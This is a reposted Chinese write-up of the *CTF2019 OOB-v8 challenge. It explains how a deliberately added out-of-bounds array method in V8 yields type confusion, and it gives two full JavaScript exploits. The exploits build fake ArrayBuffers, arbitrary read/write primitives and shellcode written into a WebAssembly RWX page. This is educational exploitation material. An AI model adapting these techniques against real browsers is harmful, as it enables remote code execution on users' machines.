*CTF2019 OOB-v8 writeup | Hpasserby

admin 2024年1月5日00:04:16*CTF2019 OOB-v8 writeup | Hpasserby已关闭评论4 views字数 7564阅读25分12秒阅读模式

trick:在调试过程中会发现,Elements并不是始终紧邻JSArray的,有些时候两者会相距一段距离。在师傅们的wp中提到可以使用splice来使该布局稳定,例如

在v8中,Map描述了一个对象的结构,它决定了如何解析对象中的数据。从以上调试信息中即可以看到aMap(PACKED_DOUBLE_ELEMENTS),而bMap(PACKED_ELEMENTS)

所以,若将一个存放对象的数组的Map修改为一个浮点型数组的Map,再次去读取该数组中的元素时,将会把其中的对象(指针)当做浮点型数据读取出来,这类操作就叫做类型混淆(type confusion)

在v8利用中总是需要布置shellcode,那么在内存中找到一块具有RWX权限的区域将会十分有帮助。wasm(WebAssembly)详细概念就不在这介绍了,这里值得注意的是是用wasm可以在内存中开辟出一块RWX的内存空间。

这里可以将C语言编写的代码转换为wasm格式。当然,编写的c语言代码不能够调用库函数(不然就可以直接写rce了),但是只要通过漏洞,将我们的shellcode覆盖到内存中wasm代码所在rwx区域即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
%DebugPrint(wasm_instance);

readline();

----------------------------------------------------------------------------------

pwndbg> r --allow-natives-syntax ../../exps/OOB/test.js
DebugPrint: 0x3ac2ec75f721: [WasmInstanceObject] in OldSpace
- map: 0x3e31257c9789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0c416a70ac19 <Object map = 0x3e31257cabd9>
- elements: 0x018f99940c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x0c416a70e421 <Module map = 0x3e31257c91e9>
...
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18f99940000 0x18f99980000 r--p 40000 0
0x2d98eee0000 0x2d98eee1000 rwxp 1000 0<---RWX area
0x2d98eee1000 0x2d9ceee0000 ---p 3ffff000 0
0xc416a700000 0xc416a740000 rw-p 40000 0
0x13f152180000 0x13f1521c0000 rw-p 40000 0
...
pwndbg> x/32gx 0x3ac2ec75f721-1
0x3ac2ec75f720:0x00003e31257c97890x0000018f99940c71
0x3ac2ec75f730:0x0000018f99940c710x0000000000000000
0x3ac2ec75f740:0x00000000000000000x0000000000000000
0x3ac2ec75f750:0x000055eaa54b90a00x0000018f99940c71
0x3ac2ec75f760:0x000055eaa55474f00x0000018f999404d1
0x3ac2ec75f770:0x00000000000000000x0000000000000000
0x3ac2ec75f780:0x00000000000000000x0000000000000000
0x3ac2ec75f790:0x000055eaa55475100x0000018f999404d1
0x3ac2ec75f7a0:0x000055eaa54af3c00x000002d98eee0000<---RWX area
0x3ac2ec75f7b0:0x00000c416a70e4210x00000c416a70e5d9
...

在伪造ArrayBuffer的时候需要同时也伪造出它的Map,这部分可以通过调试一个真正的ArrayBuffer并将其Map复制下来(这里并不需要全部的数据)。关于Map的内存模型可以参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

var fake_arraybuffer = [

mem.u2d(0x0),
mem.u2d(0x0),

mem.u2d(0x0),
mem.u2d(0x1000),

mem.u2d(0x0),
mem.u2d(0x2),

mem.u2d(0x0),
mem.u2d(0x0),

mem.u2d(0x0),
mem.u2d(0x1900042319080808),
mem.u2d(0x00000000082003ff),
mem.u2d(0x0),
mem.u2d(0x0),
mem.u2d(0x0),
mem.u2d(0x0),
mem.u2d(0x0)
].splice(0);

var ab = new ArrayBuffer(0x1000).splice(0);
var obj = [wasm_instance, fake_arraybuffer, ab].splice(0);
var buf = [1.1, 2.2, 3.3].splice(0);

obj_map = mem.d2u(obj.oob());
buf_map = mem.d2u(buf.oob());
console.log("obj_map addr: 0x" + obj_map.toString(16))
console.log("buf_map addr: 0x" + buf_map.toString(16))

obj.oob(mem.u2d(buf_map));

wasm_inst_addr = mem.d2u(obj[0]) - 1;
rwx_area_addr = wasm_inst_addr + 0x88

fake_ab_addr = mem.d2u(obj[1]) - 1;
fake_obj_addr = fake_ab_addr - 0x80;
fake_obj_map = fake_ab_addr - 0x40;

console.log("fake_ab_addr: 0x" + fake_ab_addr.toString(16));
console.log("rwx_area_addr: 0x" + rwx_area_addr.toString(16));

fake_arraybuffer[0] = mem.u2d(fake_obj_map + 1);
fake_arraybuffer[4] = mem.u2d(rwx_area_addr);

obj[2] = mem.u2d(fake_obj_addr + 1);
obj.oob(mem.u2d(obj_map));

fake_obj = new DataView(obj[2]);
rwx_area = mem.d2u(fake_obj.getFloat64(0, true));
console.log("rwx_area: 0x" + rwx_area.toString(16));

fake_arraybuffer[4] = mem.u2d(rwx_area);

for (i = 0; i < shellcode.length; i++){
fake_obj.setUint32(i * 4, shellcode[i], true);
}

wasm_func();

但是有个问题是,在访问某地址时,需要将elements指针置于该地址-0x10处,因为rwx空间是独立的一块内存页,在其-0x10处的地址是非法的,所以最后还是通过修改ArrayBuffer的backingStore来布置shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

var fake_array = [

mem.u2d(0x0),
mem.u2d(0x0),

mem.u2d(0x0),
mem.u2d(0x100000000000),

mem.u2d(0x0),
mem.u2d(0x2),
].splice(0);

var obj = [wasm_instance, fake_array, 1.1].splice(0);
var buf = [1.1, 2.2, 3.3].splice(0);

obj_map = mem.d2u(obj.oob());
buf_map = mem.d2u(buf.oob());
console.log("obj_map addr: 0x" + obj_map.toString(16))
console.log("buf_map addr: 0x" + buf_map.toString(16))

obj.oob(mem.u2d(buf_map));

wasm_inst_addr = mem.d2u(obj[0]) - 1;
rwx_area_addr = wasm_inst_addr + 0x88

fake_array_addr = mem.d2u(obj[1]) - 1;
fake_obj_addr = fake_array_addr - 0x30;

console.log("fake_obj_addr: 0x" + fake_obj_addr.toString(16));
console.log("rwx_area_addr: 0x" + rwx_area_addr.toString(16));

fake_array[0] = mem.u2d(buf_map);

obj[2] = mem.u2d(fake_obj_addr + 1);
obj.oob(mem.u2d(obj_map));
fake_obj = obj[2];

function arb_read(addr){
fake_array[2] = mem.u2d(addr - 0x10 + 1);
return mem.d2u(fake_obj[0]);
}

function arb_write(addr, value){
fake_array[2] = mem.u2d(addr - 0x10 + 1);
fake_obj[0] = mem.u2d(value);
}

rwx_area = arb_read(rwx_area_addr);
console.log("rwx_area: 0x" + rwx_area.toString(16));

ab = new ArrayBuffer(0x100);
obj[2] = ab;
obj.oob(mem.u2d(buf_map));

ab_addr = mem.d2u(obj[2]) - 1;
ab_backStore = ab_addr + 0x20;
arb_write(ab_backStore, rwx_area);

ab_view = new DataView(ab);

for(i = 0; i < shellcode.length; i++){
ab_view.setUint32(i * 4, shellcode[i], true);
}

wasm_func()

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月5日00:04:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   *CTF2019 OOB-v8 writeup | Hpasserbyhttps://cn-sec.com/archives/2365956.html